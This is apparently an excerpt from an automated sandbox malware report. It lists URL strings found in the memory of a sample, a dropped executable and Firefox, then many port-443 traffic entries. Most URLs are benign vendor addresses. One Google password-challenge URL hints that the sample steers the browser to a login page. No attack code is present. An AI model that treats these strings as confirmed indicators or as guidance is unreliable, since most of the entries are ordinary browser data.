Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001A.00000002.3224109770.0000019E3B803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001A.00000003.3113463433.0000019E53D23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: file.exe, 00000000.00000003.2214880868.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2926473817.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: firefox.exe, 0000001A.00000002.3254465653.0000019E4BC13000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3086228555.0000019E4B852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3084909437.0000019E4B600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001A.00000002.3247984693.0000019E4B65C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001A.00000002.3276626657.0000019E4CD72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3114034660.0000019E53E92000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3145093267.0000019E53DAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000001A.00000002.3230691472.0000019E47D8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3086228555.0000019E4B852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3084909437.0000019E4B600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000003.2174370045.0000000005C1B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896261286.0000000005958000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2896136861.000000000596F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051709799.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3056682924.000000000601B000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3051343446.000000000601D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/2
Source: firefox.exe, 0000001A.00000002.3276626657.0000019E4CD72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3086228555.0000019E4B852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3084909437.0000019E4B600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3085359079.0000019E4B80F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.iqiyi.com/
Source: file.exe, 00000000.00000003.2198542260.0000000005C1F000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000A.00000003.2925963340.0000000005A4A000.00000004.00000800.00020000.00000000.sdmp, 58ce8f976c.exe, 0000000C.00000003.3088747282.000000000600F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: firefox.exe, 0000001A.00000002.3230691472.0000019E47D8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3218314542.00000045F65BC000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000003.3148359277.0000019E53B5C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224109770.0000019E3B86B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 58ce8f976c.exe, 0000000C.00000003.3089311175.00000000060F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: firefox.exe, 0000001A.00000003.3185200055.0000019E4CF66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3213102299.0000019E4CF70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3191592344.0000019E4CF7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/legal/terms/mozilla/
Source: 58ce8f976c.exe, 0000000C.00000003.3089311175.00000000060F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 58ce8f976c.exe, 0000000C.00000003.3089311175.00000000060F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001A.00000002.3281903988.0000019E4D084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/resource:///modules/UrlbarPrefs.sys.mjsresource:///modules/Urlba
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001A.00000002.3227788063.0000019E47051000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 0000001A.00000002.3237977598.0000019E49010000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001A.00000003.3147296630.0000019E53CA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: firefox.exe, 0000001A.00000002.3218314542.00000045F65BC000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3228922756.0000019E471AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.openh264.org//
Source: firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: file.exe, 00000000.00000003.2214880868.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/ce
Source: 58ce8f976c.exe, 0000000A.00000003.2926473817.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3239630691.0000019E4954E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3234086295.0000019E48C79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://www.widevine.com/3
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47E75000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.3231295540.0000019E47EDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 0000001A.00000002.3266603908.0000019E4C266000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285958832.0000019E4DA19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001A.00000002.3273423332.0000019E4C980000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001A.00000002.3232516855.0000019E48100000.00000002.00000001.00040000.0000001D.sdmp	String found in binary or memory: https://yandex.com
Source: firefox.exe, 0000001A.00000002.3230691472.0000019E47D8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3165170400.0000019E4E025000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3276626657.0000019E4CD44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3230691472.0000019E47D15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000003.3165170400.0000019E4E042000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001A.00000002.3227788063.0000019E47039000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3224109770.0000019E3B86B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.3068054846.000001E80615F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3075536770.000001C6A6E09000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3223563743.0000019E3B669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdBoolean
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmatch
Source: firefox.exe, 0000001A.00000002.3264016612.0000019E4C115000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/accountincrementModificationCountstrippedUrlToTopPrefixAndTitlesuggestedIndexRes

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
